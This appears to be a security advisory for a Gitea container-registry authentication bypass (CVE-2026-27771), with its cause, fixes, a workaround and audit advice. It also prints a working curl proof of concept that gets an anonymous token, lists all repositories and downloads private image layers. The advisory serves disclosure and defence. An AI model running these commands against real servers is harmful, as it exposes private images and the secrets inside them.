CVE-2026-27771: Gitea Container Registry Authentication Bypass
Gitea's built-in OCI container registry never checked whether a package owner's visibility was private before serving image manifests and layers, so anyone on the internet could pull "private"…
The problem
The ReqContainerAccess middleware in routers/api/packages/container/container.go only verified that a request context existed. It never evaluated the package owner's visibility setting (public, internal, or private).
A ghost user (UserID: -1) could obtain an anonymous OCI token from /v2/token with no credentials, then use that token to enumerate all repositories via /v2/_catalog and pull any private image's manifests and blob layers. The flaw had been present for roughly four years and affected more than 30,000 internet-facing deployments.
Proof of concept
A working proof-of-concept for CVE-2026-27771 in code.gitea.io/gitea, with the exact payload below.
# Step 1: get an anonymous OCI token (no credentials required)
TOKEN=$(curl -s 'http://gitea.example.com/v2/token?service=container_registry&scope=' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# Step 2: enumerate ALL repositories (public and private)
curl -s -H "Authorization: Bearer $TOKEN" \
http://gitea.example.com/v2/_catalog
# {"repositories":["alice/public-app","alice/secret-app","bob/private-infra"]}
# Step 3: pull the manifest of a private image
curl -s -H "Authorization: Bearer $TOKEN" \
-H "Accept: application/vnd.oci.image.manifest.v1+json" \
http://gitea.example.com/v2/alice/secret-app/manifests/latest
# Step 4: download a blob layer (digest from manifest above)
curl -s -H "Authorization: Bearer $TOKEN" \
-o layer.tar.gz \
http://gitea.example.com/v2/alice/secret-app/blobs/sha256:<digest>The vulnerable ReqContainerAccess guard read: if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) { apiUnauthorizedError(ctx) }. When REQUIRE_SIGNIN_VIEW was false (the default), the /v2/token endpoint issued an anonymous JWT to ghost users with no scope, and ReqContainerAccess let that ghost user through because neither condition triggered.
PR #37610 introduced package-level visibility labels so the middleware can distinguish private, internal, and public packages and reject ghost users for non-public ones. PR #37290 also fixed the auth challenge header to avoid sending WWW-Authenticate: Basic realm on public instances, which previously caused Docker clients to silently accept anonymous tokens.
CWE-862 (Missing Authorization) is the precise classification.
The fix
Upgrade to Gitea 1.26.2 or later (released 2026-05-20). If an immediate upgrade is not possible, set REQUIRE_SIGNIN_VIEW = true under [service] in app.ini as a temporary workaround; note this forces login for all content including public repos and does not fix the underlying permission model.
After patching, audit image history for any private images that may have been exposed: inspect layers for baked-in secrets, API keys, TLS material, and environment variables, and rotate anything found.
Reported by NoScope.
Related research
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream